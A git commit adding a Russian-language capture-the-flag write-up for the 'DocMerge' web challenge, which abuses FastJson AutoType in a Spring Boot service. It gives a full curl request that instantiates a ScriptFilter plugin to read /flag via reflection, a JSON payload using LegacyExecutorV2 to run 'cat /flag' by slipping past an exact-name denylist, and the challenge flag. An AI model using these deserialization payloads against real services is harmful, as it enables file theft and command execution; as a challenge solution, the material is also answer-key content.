Init. Commit
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
<h1 align="center">DocMerge</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-hard%2B-critical" alt="hard+"/>
|
||||
</p>
|
||||
|
||||
DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`.
|
||||
|
||||
## Решение
|
||||
|
||||
Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`.
|
||||
|
||||
Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы:
|
||||
|
||||
| Класс | Ответ фильтра | Вывод |
|
||||
|---|---|---|
|
||||
| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени |
|
||||
| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр |
|
||||
| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются |
|
||||
|
||||
### Чтение через ScriptFilter
|
||||
|
||||
`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`.
|
||||
|
||||
Создаём этот фильтр внутри задания:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:18112/api/merge \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{
|
||||
"title":"quarterly-report",
|
||||
"documents":["doc one","doc two"],
|
||||
"renderer":{"template":"default","filters":[
|
||||
{"@type":"com.docmerge.plugins.ScriptFilter",
|
||||
"className":"com.docmerge.util.PreviewUtil",
|
||||
"methodName":"readFile",
|
||||
"argument":"/flag"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
|
||||
Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`.
|
||||
|
||||
### Выполнение через LegacyExecutorV2
|
||||
|
||||
`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации:
|
||||
|
||||
```json
|
||||
{
|
||||
"title":"t",
|
||||
"renderer":{"filters":[
|
||||
{"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
|
||||
]}
|
||||
}
|
||||
```
|
||||
|
||||
Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают.
|
||||
|
||||
[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`.
|
||||
|
||||
## Флаг
|
||||
|
||||
`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}`
|
||||
Reference in New Issue
Block a user